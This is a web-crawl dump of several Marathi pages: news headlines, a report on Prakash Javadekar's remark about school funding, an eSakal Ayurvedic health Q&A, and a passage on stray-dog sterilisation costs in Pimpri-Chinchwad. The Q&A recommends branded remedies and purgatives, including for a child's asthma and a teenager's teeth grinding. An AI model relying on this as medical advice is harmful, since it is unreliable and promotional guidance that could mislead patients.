पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\n'माझ्यासाठी हा भावूक क्षण'\n'भारताच्या विकासाचा सतत प्रयत्न करेन'\n'कोविंद यांना सशर्त पाठिंबा'\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00318.warc.wet.gz", "language": "mr", "language_score": 0.91, "bucket": "all"} {"url": "http://pclive7.com/%E0%A4%B6%E0%A4%BE%E0%A4%B3%E0%A4%BE-%E0%A4%AD%E0%A5%80%E0%A4%95%E0%A5%87%E0%A4%9A%E0%A4%BE-%E0%A4%95%E0%A4%9F%E0%A5%8B%E0%A4%B0%E0%A4%BE-%E0%A4%98%E0%A5%87%E0%A4%8A%E0%A4%A8-%E0%A4%B8%E0%A4%B0/", "date_download": "2018-09-25T17:58:45Z", "digest": "sha1:I5SDDJ7KAL44GLMCBJG6MX6AYSVFOZP6", "length": 7187, "nlines": 72, "source_domain": "pclive7.com", "title": "शाळा भीकेचा कटोरा घेऊन सरकारकडे का येतात? – प्रकाश जावडेकर | PCLIVE7.com – Pimpri Chinchwad News, Pune News Live.", "raw_content": "\nपिंपरी चिंचवड शहराचा बुधवारी विस्कळीत व कमी दाबाने पाणीपुरवठा\n१५ दिवसांत शास्तीकर भरा अन् ९० टक्के सवलत मिळवा; स्थायी समितीचा निर्णय\n६० वर्षीय महिलेचा स्वाईन फ्लूने मृत्यू; पिंपरी चिंचवडमधील २३ वा बळी\nपिंपरीतील फुल बाजाराच्या स्थलांतरावर शिक्कामोर्तब\n‘स्वराज्यरक्षक संभाजी’ या मालिकेतील कलावंतांशी शनिवारी चिंचवडला मुक्त संवाद\nमहापालिका मुख्यालयात वैद्यकीय कक्ष सुरू करा; विरोधी पक्षनेते दत्ता साने यांची मागणी\nवायसीएमच्या दारातच रूग्णाची ‘हेळसांड’, अर्धातासाच्या प्रतिक्षेनंतर उपचार सुरू\nनाना काटे सोशल फाऊंडेशनच्या मूर्तीदान उपक्रमाला उस्फूर्त प्रतिसाद; १२ हजार ३०० मूर्तींचे केले संकलन\nढोल ताशांच्या गजराज उन्न’ती’च्या गणपतीचे विसर्जन\nधक्कादायक : हिंजवडीतील अत्याचार प्रकरणी आणखी दोघांना अटक\nHome पुणे शाळा भीकेचा कटोरा घेऊन सरकारकडे का येतात\nशाळा भीकेचा कटोरा घेऊन सरकारकडे का येतात\nपुणे (Pclive7.com):- शाळांनी भीकेचा कटोरा घेऊन नेहमी सरकारकडे येण्यापेक्षा माजी विद्यार्थ्यांकडून आर्थिक सहाय्य मागावं, असं वक्तव्य केंद्रीय मनुष्यबळ विकास मंत्री प्रकाश जावडेकर यांनी केलं आहे. पुण्यातील ज्ञानप्रबोधिनीमध्ये आयोजित एका कार्यक्रमात जावडेकर बोलत होते. जावडेकरांच्या विधानामुळे सोशल मीडियावर टीकेची झोड उठली आहे.\nजगभरातील अनेक शैक्षणिक संस्था कोण चालवतात माजी विद्यार्थी. नामांकित विश्वविद्यापीठं कोणामुळे चालतात माजी विद्यार्थी. नामांकित विश्वविद्यापीठं कोणामुळे चालतात माजी विद्यार्थ्यांनी केलेल्या मदतीमुळेच. जे विद्यार्थी आपापल्या क्षेत्रात यशस्वी ठरले आहेत, त्यांनी आपापल्या शाळेला मदत केली आहे. किंबहुना ही माजी विद्यार्थ्यांची जबाबदारीच आहे, असंही जावडेकर म्हणाले.\nशाळा नेहमी भीकेचा कटोरा घेऊन सरकारच्या दारात येतात. अरे, मदत तर तुमच्या घरातच पडलेली आहे. माजी विद्यार्थी तुमचं देणं लागतात, असं प्रकाश जावडेकर म्हणाले. मात्र जावडेकरांच्या या वक्तव्यामुळे ट्विटरवर नाराजीचा सूर उमटला आहे.\nज्ञानप्रबोधिनीच्या विकासात माजी विद्यार्थ्यांचा वाटा मोठा आहे. अन्य शाळांसाठी हा आदर्शच आहे. ज्ञानप्रबोधिनीने सुरु केलेली परंपरा इतरांनी चालवावी, अशा भावनाही जावडेकरांनी व्यक्त केल्या.\nचिंता नको, पुढील ५ वर्षे मीच मुख्यमंत्री – देवेंद्र फडणवीस\nपिंपरी चिंचवडचा सांप्रदायायिक वारसा जपण्याचे काम करू – महापौर राहुल जाधव\n‘स्वराज्यरक्षक संभाजी’ या मालिकेतील कलावंतांशी शनिवारी चिंचवडला मुक्त संवाद\nधक्कादायक : हिंजवडीतील अत्याचार प्रकरणी आणखी दोघांना अटक\nपिंपरी चिंचवडमधल्या तरूणाने गॅरेजमध्ये तयार केले चक्क ‘हेलिकॉप्टर’\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00319.warc.wet.gz", "language": "mr", "language_score": 0.96, "bucket": "all"} {"url": "http://www.esakal.com/family-doctor/question-answer-38961", "date_download": "2018-09-25T18:01:21Z", "digest": "sha1:RBFYG5I7INSTRGQS5TD2CGX54LF4LIRW", "length": 35982, "nlines": 189, "source_domain": "www.esakal.com", "title": "question & answer प्रश्न, प्रश्न आणि प्रश्नोत्तरे | eSakal", "raw_content": "\nप्रश्न, प्रश्न आणि प्रश्नोत्तरे\nशुक्रवार, 7 एप्रिल 2017\n\"प्रकृती ठीक ठाक आहे ना' असा प्रश्न बऱ्याच दिवसांनी भेटलेल्या ओळखीच्या व्यक्‍तीला आवर्जून विचारला जातो. या प्रश्नाचे उत्तर सहसा \"होय' असेच दिले जाते. मात्र प्रत्यक्षात आरोग्याशी संबंधित प्रश्नांची संख्या अमर्याद असते असे दिसते. काय खावे, काय खाऊ नये, व्यायाम कुठला करावा, औषध कुठले घ्यावे, होत असणाऱ्या त्रासावर काही उपचार असतात की नाही, किती वेळात बरे वाटेल, बरे वाटले तरी पुन्हा त्रास तर होणार नाही ना' असा प्रश्न बऱ्याच दिवसांनी भेटलेल्या ओळखीच्या व्यक्‍तीला आवर्जून विचारला जातो. या प्रश्नाचे उत्तर सहसा \"होय' असेच दिले जाते. मात्र प्रत्यक्षात आरोग्याशी संबंधित प्रश्नांची संख्या अमर्याद असते असे दिसते. काय खावे, काय खाऊ नये, व्यायाम कुठला करावा, औषध कुठले घ्यावे, होत असणाऱ्या त्रासावर काही उपचार असतात की नाही, किती वेळात बरे वाटेल, बरे वाटले तरी पुन्हा त्रास तर होणार नाही ना असे एक ना दोन अनेक प्रश्न मनात असतात. याचेच प्रतीक म्हणून \"फॅमिली डॉक्‍टर' या पुरवणीमधील \"प्रश्नोत्तरे' हे सदर लोकप्रिय असलेले दिसते. दर आठवड्याला काही प्रश्नांची उत्तरे दिली तरी प्रश्नांचा ओघ लक्षात घेता आज आपण अमुक एक विषय न घेता फक्‍त वाचकांच्या प्रश्नांची उत्तरे देणार आहोत.\nजळगावहून स्नेहलता प्रश्न विचारत आहेत, की गेल्या पाच-सहा वर्षांपासून त्यांच्या तोंडाची म्हणजे जीभ, गाल, हिरड्या, ओठ यांची आग होते आहे. बरीच औषधे घेऊन पाहिली पण फरक पडला नाही. कधी कधी तर आग होण्याचे प्रमाण इतके वाढते, की असह्य त्रास होतो. तरी यावर उपाय, पथ्य-अपथ्य सुचवावे.\nजीभ, मुख हा पचनसंस्थेचा आरसा असतो. त्यामुळे पचनसंस्थेमध्ये उष्णता वाढली तर त्याचा परिणाम म्हणून असा त्रास होऊ शकतो. ही उष्णता कमी करण्यासाठी काही दिवस झोपण्यापूर्वी अविपत्तिकर चूर्ण किंवा \"सॅनकूल चूर्ण' घेण्याचा उपयोग होईल, जेवणानंतर \"संतुलन पित्तशांती'च्या दोन-दोन गोळ्या घेण्याचाही उपयोग होईल, आहारात घरी बनविलेल्या साजूक तुपाचा किमान चार-पाच चमचे इतक्‍या प्रमाणात समावेश करणे चांगले. दहा-पंधरा दिवसांतून एकदा दोन चमचे एरंडेल घेऊन पोट साफ करणेही उत्तम. पटकन आराम मिळावा यासाठी सकाळी उठल्यावर घरच्या घरी गंडुष करण्याचा चांगला उपयोग होईल. यासाठी अर्धा चमचा \"संतुलन सुमुख तेल' आणि चार-पाच चमचे साधे प्यायचे पाणी एकत्र करून तयार झालेले मिश्रण तोंडात दहा मिनिटांसाठी धरून ठेवायचे असते आणि अधूनमधून खुळखुळवायचे असते. हिरवी मिरची, लसूण, कांद्याची पात, शेंगदाणे, वांगे, ढोबळी मिरची या गोष्टी आहारातून टाळणे चांगले.\nपुण्याहून मो. शं. देशपांडे हे प्रश्न विचारत आहेत, की ते गेल्या बारा वर्षांपासून प्राणायाम, नामजप, ध्यान-साधना करत असून याची त्यांना अद्भुत अनुभूती आलेली आहे. मात्र बऱ्याच वर्षांपासून त्यांना वारंवार खोकला होण्याचा त्रास आहे. प्रथम पडसे होऊन शिंका येऊ लागतात, मग घशात टोचल्यासारखे होऊन खोकला सुरू होतो. प्रत्येक वेळी औषधे घ्यावी लागतात, पण पुन्हा पुन्हा त्रास होत राहतो. गरम पाण्याचा वाफारा, गुळण्या वगैरे उपचार सुरू आहेत. तरी यावर कायमस्वरूपी उपचार काय करावा\nनियमित प्राणायाम, नामजप, साधना करणे उत्तम आहेच. मात्र आजारपणाने यात खंड पडू नये यासाठी आरोग्याची काळजी घेणे आवश्‍यक आहे. सर्वप्रथम वारंवार पडसे, खोकला होऊ नये यासाठी रोगप्रतिकारशक्‍ती चांगली राहण्यासाठी प्रयत्न करायला हवेत. यासाठी रोज च्यवनप्राश किंवा \"संतुलन आत्मप्राश', \"सॅनरोझ'सारखी रसायने घेणे चांगले. रोज सकाळ-संध्याकाळ अर्धा चमचा सितोपलादी चूर्ण गरम पाण्यासह किंवा मधात मिसळून घेणे चांगले. फुप्फुसांची कार्यक्षमता सुधारावी, यासाठी काही दिवस \"ब्रॉंकोसॅन सिरप' घेण्याचाही उपयोग होईल. पडसे-शिंका सुरू झाल्यावर लगेच गवती चहा, ज्येष्ठमध, बेहडा आणि अडुळशाचे पिकलेले पान यांचा काढा करून घेण्यास सुरुवात केल्यास शक्‍यतो खोकला होण्यास प्रतिबंध होईल किंवा खोकल्याची तीव्रता कमी राहील. दही, आंबट फळे, श्रीखंड, सिताफळ, फणस, चिकू, फ्रीजमधील थंड पदार्थ टाळणे चांगले. या उपायांनी बरे वाटेलच, तरीही अनेक वर्षांचा त्रास आहे त्या दृष्टीने एकदा तज्ज्ञ वैद्यांचा प्रत्यक्ष सल्ला घेणे सुद्धा श्रेयस्कर.\nनिगडीहून कुमुदिनी लिहीत आहेत, की त्या \"फॅमिली डॉक्‍टर'च्या नियमित वाचक आहेत. जणू मनातील प्रश्न ओळखून त्याचे साध्या शब्दांत निरसन केलेले असते, असे त्यांना अनेकदा वाटते. त्यांचे वय 46 वर्षे आहे. त्या शाकाहारी आहेत. मात्र त्यांचे तोंड आलेले आहे. तिखट तर दूरच, पण मीठसुद्धा जिभेला सहन होत नाही. शरीरातील उष्णता वाढल्याने असे होऊ शकते का तसेच आहार कसा असावा\nशरीरातील उष्णता वाढल्याने असा त्रास होऊ शकतो. तसेच शरीरावश्‍यक तत्त्वांची कमतरता झाल्यानेही असा त्रास होऊ शकतो. तेव्हा एकदा तज्ज्ञांच्या मार्गदर्शनाखाली रक्‍ताची तपासणी करून घेणे चांगले. बरोबरीने उष्णता कमी होण्यासाठी रोज सकाळी मोरावळा किंवा गुलकंद घेणे, रात्री झोपण्यापूर्वी \"सॅनकूल चूर्ण' घेणे, काही दिवस सकाळ-संध्याकाळ कामदुधा, तसेच \"संतुलन पित्तशांती गोळ्या' घेणे चांगले. आहार पचण्यास सोपा आणि तिखट, खारट, आंबट नसलेला असावा. मऊ भात, वरण, तूप किंवा मुगाची पातळ खिचडी, तांदळाचे धिरडे, साजूक तुपात जिऱ्याची फोडणी देऊन बनवलेली फळभाजी असे साधे खाणे असणे चांगले. उष्णता कमी करण्यासाठी काही दिवस नियमित पादाभ्यंग करण्याचाही उपयोग होईल. \"संतुलन सुमुख तेला'चा गंडुष करण्यानेही वारंवार तोंड येण्याची प्रवृत्ती बंद होते असे दिसते.\nआजऱ्याहून परुळेकर यांनी प्रश्न विचारला आहे की, त्यांची प्रकृती चांगली आहे, पण त्यांना झोप नीट लागत नाही. जवळजवळ दीड-दोनपर्यंत ते जागे असतात. त्यानंतर थोडी झोप लागते. ते फक्‍त दुपारीच जेवण करतात. रात्री कपभर दूध घेतात. तरी शांत झोप लागण्यासाठी काही उपाय सुचवावा.\nशांत व पुरेशी झोप प्रकृती चांगली राहण्यासाठी महत्त्वाची असते. त्यामुळे इतर त्रास होत नसला तरी वेळेवर आणि चांगली झोप येण्यासाठी प्रयत्न केले पाहिजेत. नियमित अभ्यंग, तसेच पादाभ्यंग हे शांत झोपेसाठी पूरक उपचार असतात. तेव्हा झोपण्यापूर्वी संपूर्ण अंगाला अभ्यंग करणे आणि दोन्ही पायांना दहा-दहा मिनिटांसाठी पादाभ्यंग करणे चांगले. नाकात दोन-तीन थेंब साजूक तूप किंवा \"नस्यसॅन घृत' टाकल्याने, तसेच टाळूवर तीन-चार थेंब \"संतुलन ब्रह्मलीन सिद्ध तेल' लावण्यानेही शांत झोप लागण्यास मदत मिळते असा अनुभव आहे. काही दिवस \"निद्रासॅन गोळ्या' तसेच \"सॅन रिलॅक्‍स सिरप' घेणे आणि सर्वांत महत्त्वाचे म्हणजे योगनिद्रा (झोप आणि रिलॅक्‍सेशनसाठी) संगीत ऐकत झोपण्याचा प्रयत्न करणे सुद्धा उत्तम होय.\nसुरेश चव्हाण यांनी आपल्या मुलीबद्दल प्रश्न विचारला आहे, त्यांची मुलगी सोळा वर्षांची असून ती रात्री कूस बदलताना किंवा हालचाल झाल्यास दात खाते. हा त्रास तिला बऱ्याच वर्षांपासून होतो आहे.\nझोप अस्वस्थ असणे आणि झोपेत दात खाणे हे सहसा पोटात जंत असल्याचे लक्षण असते. जंतांचे औषध अधूनमधून सर्वांनीच घेणे चांगले असते. या दृष्टीने जेवणानंतर विडंगारिष्ट घेणे, सकाळी उठल्यानंतर अर्धा चमचा वावडिंगाचे चूर्ण मधासोबत घेणे चांगले होय. तसेच आयुर्वेदिक औषधांच्या दुकानात कपिला किंवा कंपिल्लक चूर्ण मिळते. दर आठवड्याला एकदा रात्री झोपण्यापूर्वी अर्धा चमचा कपिला चूर्ण घेतल्याने दुसऱ्या दिवशी सकाळी दोन-तीन जुलाब होऊन जंत कमी होण्यास मदत मिळते. सदर प्रयोग तीन-चार आठवड्यांसाठी करण्याने अधिक चांगला गुण येतो. दही, आंबवलेले पदार्थ, मिठाया, श्रीखंड वगैरे पदार्थ टाळणे चांगले. त्याऐवजी कारल्याची भाजी, शेवग्याच्या शेंगा, आले, मेथ्या, मोहरी, हळद वगैरेंचा अंतर्भाव नियमितपणे करणे चांगले होय.\nपुरंदर तालुक्‍यातून भरत कोलते हे प्रश्न विचारत आहेत, की त्यांचे वय 45 वर्षे आहे. त्यांना काही दिवसांपासून शौचाच्या वेळी व नंतर दिवसभर गुदभागी आग होते. तिखट, तेलकट पदार्थ खाण्यात आले की त्रास वाढतो.\nगुदभागी आग होण्याचा आहाराशी फार जवळचा संबंध असतो. त्यामुळे त्रास बरा होईपर्यंत तिखट, तेलकट पदार्थ कमीत कमी खाणे चांगले. या तक्रारीवर ताजे गोड ताक आणि घरी काढलेले ताजे लोणी या दोन गोष्टी औषधाप्रमाणे काम करतात. तेव्हा रोज दुपारच्या जेवणानंतर वाटीभर ताजे, गोड ताक घेणे आणि सकाळ-संध्याकाळ एक-एक चमचा लोणी साखरेबरोबर आणि उपलब्ध झाल्यास पाव चमचा नागकेशर चूर्णाबरोबर घेण्याचा उपयोग होईल. आतड्यातील उष्णता कमी व्हावी आणि पचन सुधारावे, यासाठी काही दिवस जेवणानंतर \"सॅनकूल चूर्ण' घेण्याचाही फायदा होईल. आहारात घरी बनविलेल्या साजूक तुपाचा किमान चार-पाच चमचे इतका समावेश करणे, तसेच ढोबळी मिरची, वांगे, गवार, कोबी, फ्लॉवर, वाल, चवळी, वाटाणे, चणे यांसारख्या पचण्यास अवघड गोष्टी टाळणे हे सुद्धा श्रेयस्कर. या उपायांचा फायदा होईलच, तरीही एकदा तज्ज्ञ वैद्यांकडून प्रत्यक्ष मार्गदर्शन घेणे सर्वांत चांगले.\nकुलकर्णीबाई त्यांच्या मुलासाठी प्रश्न विचारत आहेत, की त्यांच्या मुलावर नुकतीच अपेंडिक्‍ससाठी शस्त्रक्रिया झाली आहे. तरी पुन्हा अपेंडिक्‍सचा त्रास उद्भवू नये व पचन व्यवस्थित राहावे यासाठी काय काळजी घ्यावी मुलाचे वय 40 वर्षे आहे.\nअपेंडिक्‍स हा आतड्याचा शेपटासारखी वळचणीचा एक छोटा भाग असतो आणि त्याचा त्रास होऊ लागल्यास शस्त्रकर्माने तो काढून टाकला जातो. त्यामुळे एकदा अपेंडिक्‍सचे शस्त्रकर्म झाले की पुन्हा अपेंडिक्‍सचा त्रास होऊ शकत नाही. मात्र पचन व्यवस्थित राहावे, पोटाचे आरोग्य चांगले राहावे यासाठी काळजी अवश्‍य घेता येते. यासाठी प्रकृती परीक्षण करून घेऊन प्रकृतीला अनुकूल आहार काय, प्रतिकूल आहार काय हे माहिती करून घेणे आणि त्यानुसार आहाराची योजना करणे हे सर्वांत चांगले. बरोबरीने दुपारच्या जेवणापेक्षा रात्रीचे जेवणाचे प्रमाण कमी व हलके असणे, जेवताना मधेमधे एक-दोन घोट उकळून घेतलेले कोमट पाणी पिणे, जेवणानंतर \"संतुलन अन्नयोग' या गोळ्या घेणे, तेलाचे प्रमाण तसेच तयार खाद्यपदार्थ कमीत कमी सेवन करणे चांगले होय. अधूनमधून \"सॅनकूल चूर्ण' किंवा अविपत्तिकर चूर्ण घेऊन पोट नीट साफ होण्यासाठी दक्ष राहणे सुद्धा उत्तम.\nकलावती फुले लिहितात, की त्या \"फॅमिली डॉक्‍टर' पुरवणीच्या नियमित वाचक आहेत. पण कधी कधी खूप प्रश्न पडतात. म्हणून तुमच्यावर विश्वास ठेवून काही प्रश्न तुमच्यासमोर मांडते आहे. आपण योग्य मार्गदर्शन कराल हा विश्वास मनात आहे. त्या पुढे लिहितात, की त्यांचा मुलगा सात वर्षांचा आहे, त्याला सतत सर्दी-खोकला होत असतो. डॉक्‍टरांनी बालदमा असल्याचे सांगितले आहे. तरी यावर आयुर्वेदिक उपचार सुचवावेत.\nसतत सर्दी-खोकला होणे, त्यासाठी वारंवार प्रतिजैविकांसारखी तीव्र औषधे घ्यावी लागणे हे लहान वयात खरे तर एकंदर विकासाच्या दृष्टीने चांगले नाही. असे होऊ नये यासाठी मुलाची प्रतिकारशक्‍ती सुधारण्यासाठी प्रयत्न करायला हवेत. या दृष्टीने मुलाला रोज सकाळी च्यवनप्राश, तसेच \"संतुलन अमृतशतकरा'युक्‍त पंचामृत देण्यास सुरवात करता येईल. अंगाला नियमित अभ्यंग करणे हे सुद्धा प्रतिकारशक्‍तीसाठी चांगले. छातीत कफ साठत असला तर अगोदर छाती-पाठीला तेल लावून वरून रुईच्या पानांनी शेकण्याचाही चांगला उपयोग होईल. काही दिवस नियमाने सितोपलादी चूर्ण, \"ब्रॉंकोसॅन सिरप' घेतल्यास प्रतिकारशक्‍ती सुधारून वारंवार त्रास होणे कमी होईल. बरोबरीने वैद्यांच्या मार्गदर्शनाखाली श्वासकुठार, ज्वरांकुश, \"प्राणसॅनयोग' वगैरे औषधे सुरू करणेही श्रेयस्कर.\nकलावती फुले यांचा पुढचा प्रश्न स्वतःबद्दल आहे. त्यांचे वय 36 वर्षे असून त्यांच्या उजव्या पायाला मुंग्या येतात व उजव्या मांडीमध्ये दुखते. यावर काय उपाय करावा\nमुंग्या येणे, वेदना होणे हे शरीरात वात वाढल्याचे लक्षण असते. तेव्हा अंगाला नियमित अभ्यंग करणे, विशेषतः दिवसातून दोन वेळा पाठीवर \"संतुलन कुंडलिनी सिद्ध तेला'सारखे औषधांनी संस्कारित केलेले तेल हलक्‍या हाताने जिरवणे हे चांगले. बरोबरीने वातशमनासठी \"संतुलन वातबल गोळ्या', \"संतुलन प्रशांत चूर्ण', महायोगराजगुग्गुळ घेण्याचाही उपयोग होईल. रोज किमान वीस मिनिटांसाठी चालायला जाणे आणि दहा मिनिटांसाठी अनुलोमविलोम किंवा दीर्घश्वसन करण्याचाही शरीरातील अभिसरण नीट होण्यासाठी फायदा होत असतो.\nकलावती यांचाच अजून एक प्रश्न आहे की, त्यांचे यजमान 41 वर्षांचे असून त्यांचे पोट साफ होत नाही. तसेच त्यांच्या टाचा दुखतात. तसेच कधी कधी पाठही दुखते. यावर काय उपाय करावा\nपोट साफ न होण्यामागे आतड्यात व एकंदर पचनसंस्थेत कोरडेपणा व उष्णता वाढणे हे मुख्य कारण असते. तेव्हा यजमानांच्या आहारात साजूक तुपाचा पुरेसा समावेश आहे ना, याकडे लक्ष देणे चांगले. रात्री झोपण्यापूर्वी कपभर गरम पाण्यात दोन चमचे साजूक तूप आणि चिमूटभर मीठ घेणे तसेच चमचाभर \"सॅनकूल चूर्ण' घेणे हेसुद्धा चांगले. नियमित व्यायाम, चालायला जाणे हेसुद्धा पचनशक्‍ती नीट राहण्यास, पोट साफ होण्यास सहायक असते. पाठीला \"संतुलन कुंडलिनी तेल' लावता येईल. टाचांनाही नंतर वाळूच्या गरम पुरचुंडीने टाचांवर शेक करण्याचा उपयोग होईल. आठवड्यातून दोन वेळा पादाभ्यंग करण्यानेही टाचा दुखणे कमी होते असा अनुभव आहे.\nडॉ. श्री बालाजी तांबे\nअनैतिक संबंधातून खून; दोघांना जन्मठेप\nनाशिक : अनैतिक संबंधावरून दम दिल्याच्या रागातून आरोपीने साथीदाराच्या मदतीने प्रेयसीचा पती दशरथ ठमके यांचा निर्घृणपणे खून केला. त्यानंतर पुरावा...\nउदयनराजेंच्या उमेदवारीवर शरद पवारांचे स्पष्टीकरण\nपुणे- राष्ट्रवादी काँग्रेसचे खासदार उदयनराजे यांच्या उमेदवारीला साताऱ्यातील पक्षाच्या आमदारांचा विरोध नसल्याचे स्पष्टीकरण पक्षाचे अध्यक्ष शरद पवार...\nतेरा दिवसात पती-पत्नीचा स्वाईन फ्लुमळे मृत्यु\nउरुळी कांचन : उरुळी कांचन (ता. हवेली) येथील प्रभावती वाल्मिक कांचन यांचे बारा दिवसांपुर्वी स्वाईन फ्लुमळे झालेल्या मृत्युचे दुःख अद्याप ताजे असतानाच...\nगोवा : आमदार गावकरांचा वन महामंडळ अध्यक्षाचा राजीनामा\nपणजी : राज्यातील भाजप सरकारला पाठिंबा दिलेले सांगेचे अपक्ष आमदार प्रसाद गावकर यांनी आज गोवा वन विकास महामंडळाच्या अध्यक्षपदाचा राजीनामा दिला...\nऔषध व्यापार 'बंद' आंदोलनात साक्री तालुका केमिस्ट सहभागी\nनिजामपूर-जैताणे (धुळे) : साक्री तालुक्यातील निजामपूर, पिंपळनेर, दहीवेल, कासारे व म्हसदी येथे केमिस्ट असोसिएशनच्या तालुका पदाधिकाऱ्यांनी नुकत्याच औषध...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00319.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.esakal.com/pune/dog-issue-municipal-41152", "date_download": "2018-09-25T17:41:22Z", "digest": "sha1:APFJ4KU5F4Y54IC36BJW6ZQS65X7PYXS", "length": 17487, "nlines": 178, "source_domain": "www.esakal.com", "title": "dog issue in municipal भटक्‍या कुत्र्यांचा उपद्रव अन्‌ प्रशासनाची बनवाबनवी | eSakal", "raw_content": "\nभटक्‍या कुत्र्यांचा उपद्रव अन्‌ प्रशासनाची बनवाबनवी\nशुक्रवार, 21 एप्रिल 2017\nपिंपरी-चिंचवड महापालिकेत किती अंदाधुंदी कारभार चालतो त्याचे शेकडो किस्से आहेत. हे सर्व पाहून करदात्या पाच लाख नागरिकांचे डोळे पांढरे होतात, पण उघडत नाहीत. राजकीय सत्ता बदलली. राष्ट्रवादी गेली आणि भाजप आली. पूर्वी किती पाप झाले होते त्याचे नवनवीन दाखले अगदी पुराव्यासह भाजपवाले देतात. आम्ही ‘तसे’ होऊ देणार नाही असेही छातीठोकपणे सांगतात. अनागोंदी कारभारावर आणि भ्रष्टाचार संपविण्यासाठी हे याच पद्धतीने झाले पाहिजे. आर्थिक नाड्या स्थायी समितीकडे असल्याने यापुढे टक्केवारी रोखण्याची जबाबदारी या समितीचीच आहे. भाजपकडून तीच एक अपेक्षा आहे.\nपिंपरी-चिंचवड महापालिकेत किती अंदाधुंदी कारभार चालतो त्याचे शेकडो किस्से आहेत. हे सर्व पाहून करदात्या पाच लाख नागरिकांचे डोळे पांढरे होतात, पण उघडत नाहीत. राजकीय सत्ता बदलली. राष्ट्रवादी गेली आणि भाजप आली. पूर्वी किती पाप झाले होते त्याचे नवनवीन दाखले अगदी पुराव्यासह भाजपवाले देतात. आम्ही ‘तसे’ होऊ देणार नाही असेही छातीठोकपणे सांगतात. अनागोंदी कारभारावर आणि भ्रष्टाचार संपविण्यासाठी हे याच पद्धतीने झाले पाहिजे. आर्थिक नाड्या स्थायी समितीकडे असल्याने यापुढे टक्केवारी रोखण्याची जबाबदारी या समितीचीच आहे. भाजपकडून तीच एक अपेक्षा आहे.\n...आता निर्बीजीकरणाची दुकानदारी थांबवा\nभटक्‍या कुत्र्यांचा एक विषय बुधवारी (ता. १९) स्थायी समिती बैठकीत चर्चेला आला होता. या कुत्र्यांवर नियंत्रण आणण्यासाठी ‘निर्बीजीकरण’ कार्यक्रम राबविण्यात आला. पुणे आणि कोल्हापूर येथील दोन प्राणीप्रेमी संस्था गेली दहा वर्षे हे काम करतात. महापालिकेने अगदी डोळे झाकून हे काम त्यांच्यावर सोपविले. ऊस गोड लागला म्हणून तो मुळासकट खायला सुरवात झाली. २००६-०७ पासून हे काम या संस्थांकडे आहे. कुत्रे पकडून त्याचे निर्बीजीकरण करण्यासाठी प्रत्येकी ६४९ रुपये त्यांना अदा केले जातात. पहिले सात वर्षे त्यांनी अत्यंत प्रामाणिकपणे प्रतिवर्ष सरासरी दीड ते दोन हजार कुत्र्यांचे निर्बीजीकरण केले. २०१२-१३ पासून ही संख्या साडेसात हजार, दहा हजार अशी वाढत वाढत गेली. त्यानुसार देयक रक्कमही ७० लाखांपर्यंत वाढत गेली. २०१५ आणि १६ मध्ये ही संख्या एकदम १५ हजारांवर गेली. रोज सरासरी ७० कुत्र्यांवर शस्त्रक्रिया सुरू झाली.\nया कामासाठी आठ वर्षांत दोन कोटी रुपये खर्च झाला, आणि दोन वर्षांत सव्वादोन कोटी रुपये मिळून सव्वाचार कोटी खर्च केला आणि ६७ हजार कुत्र्यांवर नसबंदी झाली. इतके होऊनही शहरात भटक्‍या 